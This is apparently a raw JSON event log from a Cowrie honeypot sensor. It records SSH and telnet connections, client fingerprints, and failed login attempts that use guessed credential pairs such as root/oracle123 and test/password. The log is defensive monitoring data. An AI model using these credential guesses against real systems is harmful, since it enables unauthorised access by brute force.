{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:08.532643Z","src_ip":"185.113.139.51","session":"6c2e1d4da802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:08.656197Z","src_ip":"185.113.139.51","session":"6c2e1d4da802","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Support!2025","message":"login attempt [root/Support!2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:09.124313Z","src_ip":"185.113.139.51","session":"6c2e1d4da802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:10.231070Z","src_ip":"185.113.139.51","session":"6c2e1d4da802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37372,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bae2fb34b5f","protocol":"ssh","message":"New connection: 91.92.40.176:37372 (10.17.0.5:22) [session: 4bae2fb34b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:17.940406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:17.944375Z","src_ip":"91.92.40.176","session":"4bae2fb34b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:18.025530Z","src_ip":"91.92.40.176","session":"4bae2fb34b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password","message":"login attempt [test/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:18.441465Z","src_ip":"91.92.40.176","session":"4bae2fb34b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:19.724726Z","src_ip":"91.92.40.176","session":"4bae2fb34b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":60080,"dst_ip":"10.17.0.5","dst_port":22,"session":"b44749cc4af8","protocol":"ssh","message":"New connection: 192.169.202.129:60080 (10.17.0.5:22) [session: b44749cc4af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:24.577320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:24.581708Z","src_ip":"192.169.202.129","session":"b44749cc4af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:24.651592Z","src_ip":"192.169.202.129","session":"b44749cc4af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle123","message":"login attempt [root/oracle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:24.847622Z","src_ip":"192.169.202.129","session":"b44749cc4af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:25.914944Z","src_ip":"192.169.202.129","session":"b44749cc4af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":45150,"dst_ip":"10.17.0.5","dst_port":22,"session":"f50eaa1f7eee","protocol":"ssh","message":"New connection: 190.244.39.224:45150 (10.17.0.5:22) [session: f50eaa1f7eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:26.501118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:26.504970Z","src_ip":"190.244.39.224","session":"f50eaa1f7eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:26.685032Z","src_ip":"190.244.39.224","session":"f50eaa1f7eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100","message":"login attempt [root/100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:27.431710Z","src_ip":"190.244.39.224","session":"f50eaa1f7eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:28.613330Z","src_ip":"190.244.39.224","session":"f50eaa1f7eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55936,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd7f27c5da71","protocol":"telnet","message":"New connection: 107.6.151.170:55936 (159.203.135.109:23) [session: dd7f27c5da71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:47.572182Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":57634,"dst_ip":"159.203.135.109","dst_port":22,"session":"89cecccc0289","protocol":"ssh","message":"New connection: 31.179.197.26:57634 (159.203.135.109:22) [session: 89cecccc0289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:55.851326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:55.859012Z","src_ip":"31.179.197.26","session":"89cecccc0289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:55.962668Z","src_ip":"31.179.197.26","session":"89cecccc0289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minneapolis","password":"minneapolis123","message":"login attempt [minneapolis/minneapolis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:56.411988Z","src_ip":"31.179.197.26","session":"89cecccc0289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:57.519641Z","src_ip":"31.179.197.26","session":"89cecccc0289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.27622604370117,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:19.848276Z","src_ip":"107.6.151.170","session":"dd7f27c5da71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.239.180.109","src_port":60754,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee9d833dc04","protocol":"telnet","message":"New connection: 178.239.180.109:60754 (10.17.0.5:23) [session: eee9d833dc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:33.808510Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":44650,"dst_ip":"10.17.0.5","dst_port":22,"session":"613b3cbeb394","protocol":"ssh","message":"New connection: 103.248.120.6:44650 (10.17.0.5:22) [session: 613b3cbeb394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:37.167683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:37.171863Z","src_ip":"103.248.120.6","session":"613b3cbeb394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.4691765308380127,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:37.277576Z","src_ip":"178.239.180.109","session":"eee9d833dc04","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:37.393108Z","src_ip":"103.248.120.6","session":"613b3cbeb394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100","message":"login attempt [root/100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:38.315775Z","src_ip":"103.248.120.6","session":"613b3cbeb394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:39.539658Z","src_ip":"103.248.120.6","session":"613b3cbeb394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":39592,"dst_ip":"159.203.135.109","dst_port":23,"session":"b278b04b73f9","protocol":"telnet","message":"New connection: 137.184.5.188:39592 (159.203.135.109:23) [session: b278b04b73f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:40.771578Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54298,"dst_ip":"159.203.135.109","dst_port":22,"session":"7434dca9d13b","protocol":"ssh","message":"New connection: 147.45.199.80:54298 (159.203.135.109:22) [session: 7434dca9d13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:57.382362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:57.386329Z","src_ip":"147.45.199.80","session":"7434dca9d13b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:57.487168Z","src_ip":"147.45.199.80","session":"7434dca9d13b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kate123","message":"login attempt [root/kate123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:57.790014Z","src_ip":"147.45.199.80","session":"7434dca9d13b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:12:58.897525Z","src_ip":"147.45.199.80","session":"7434dca9d13b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":38343,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c923b26429f","protocol":"ssh","message":"New connection: 103.86.198.253:38343 (159.203.135.109:22) [session: 7c923b26429f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:13.515210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:13.519658Z","src_ip":"103.86.198.253","session":"7c923b26429f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:13.781347Z","src_ip":"103.86.198.253","session":"7c923b26429f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd1!","message":"login attempt [user/P@ssw0rd1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:14.851844Z","src_ip":"103.86.198.253","session":"7c923b26429f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:16.116135Z","src_ip":"103.86.198.253","session":"7c923b26429f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21712,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3d86e2b72fb","protocol":"ssh","message":"New connection: 194.59.206.2:21712 (10.17.0.5:22) [session: d3d86e2b72fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:20.907953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:13:20.910506Z","src_ip":"194.59.206.2","session":"d3d86e2b72fb","protocol":"ssh"}
